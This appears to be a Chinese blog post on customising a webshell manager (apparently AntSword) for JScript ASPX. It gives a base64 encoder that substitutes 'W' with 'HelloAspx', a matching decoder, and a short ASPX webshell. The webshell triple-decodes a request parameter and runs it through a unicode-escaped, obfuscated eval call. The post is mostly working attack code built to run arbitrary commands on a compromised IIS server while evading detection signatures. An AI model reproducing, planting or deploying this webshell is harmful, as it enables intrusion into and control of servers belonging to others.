前言
Jscript就比较惨了,不像世界上最好的语言一样好写,默认的编码器跟PHP一样会暴露,还没有解码器。
而且Jscript并没有PHP那样的 ob_get_contents(),ob_end_clean(),ob_start()可以把输出缓存然后统一处理,Jscript的Response.Write是及时响应,类似于Chatgpt那样一个字一个字打出来,并不是一段返回。
于是直接借鉴大佬修改过的源码,把输出拼接后统一处理:
https://www.anquanke.com/post/id/244810https://github.com/youncyb/AS_ASPX_AES_ENCODE
借鉴了什么呢?只用替换一下Aspx的源码即可,编码器与解码器还是自己写(就是不想用AES)。
编码器
//
// aspx::base64 编码模块
//
// :把除了密码的其他参数都base64编码一次
//
'use strict';
module.exports = (pwd, data) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
data[pwd] = data[pwd].replace(/W/g, 'HelloAspx');
delete data['_'];
return data;
}
解码器
'use strict';
module.exports = {
asoutput: () => {
return `
function asenc(rawstr){
var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
return System.Convert.ToBase64String(utf8.GetBytes(rawstr));
};
`.replace(/\n\s+/g, '');
},
decode_buff: (data, ext={}) => {
return Buffer.from(data.toString(), 'base64');
}
}
WebShell
<%@Page Language="Jscript"%>
<%
var utf8 = new ActiveXObject("System.Text.UTF8Encoding");
var b642b = System.Convert.FromBase64String;
var req = Request.Item['c'];
req = req.Replace('HelloAspx', 'W');
var a = utf8.GetString(b642b(utf8.GetString(b642b(utf8.GetString(b642b(req))))));
var QGBR='TFaqSQkIwXhluVspmztrDBEJKHfGenZWvMygRNOPLoiUxCdjYcbA';
var ERIZ=QGBR(12) + QGBR(29) + QGBR(4) + QGBR(2) + QGBR(1) + QGBR(22);
\u0065\u0076\u0061\u006c(a, ERIZ);
%>